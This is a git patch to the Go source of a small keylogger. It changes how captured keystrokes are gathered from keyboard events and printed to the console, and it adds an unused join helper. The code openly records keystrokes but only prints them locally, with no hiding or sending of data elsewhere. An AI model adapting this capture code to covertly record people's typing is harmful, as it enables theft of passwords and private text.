From 2e88f8f06056470df77695a77a6627d236ce84f5 Mon Sep 17 00:00:00 2001
From: Christopher Talib <christopher.talib@dcso.de>
Date: Thu, 12 Dec 2019 15:18:46 +0100
Subject: [PATCH] adding a return string

---
 main.go | 23 +++++++++++++++++------
 1 file changed, 17 insertions(+), 6 deletions(-)

diff --git a/main.go b/main.go
index a75d79c..7623999 100644
--- a/main.go
+++ b/main.go
@@ -112,14 +112,24 @@ func (k *KeyLogger) Close() error {
 }
 
 func output(input InputStream) {
-	res := []string{}
+	var res string
 	for {
 		if input.event.KeyString() != "" {
-			res = append(res, input.event.KeyString())
+			res += input.event.KeyString()
 		}
+		fmt.Println(res)
+
 	}
 }
 
+func join(strs ...string) string {
+	var sb strings.Builder
+	for _, str := range strs {
+		sb.WriteString(str)
+	}
+	return sb.String()
+}
+
 func main() {
 	fmt.Println("Your keyboard input will be here: ", getKeyboard())
 	// TODO
@@ -134,18 +144,19 @@ func main() {
 	}
 	defer klog.Close()
 	events := klog.Read()
-	stream := InputStream{}
-	go output(stream)
-
+	// stream := InputStream{}
+	var b strings.Builder
 	for e := range events {
 		switch e.Type {
 
 		case utils.EvKey:
 			if e.KeyPress() {
-				stream.event = e
+				b.WriteString(e.KeyString())
 			}
 
 			break
+		default:
+			fmt.Println(b.String())
 		}
 	}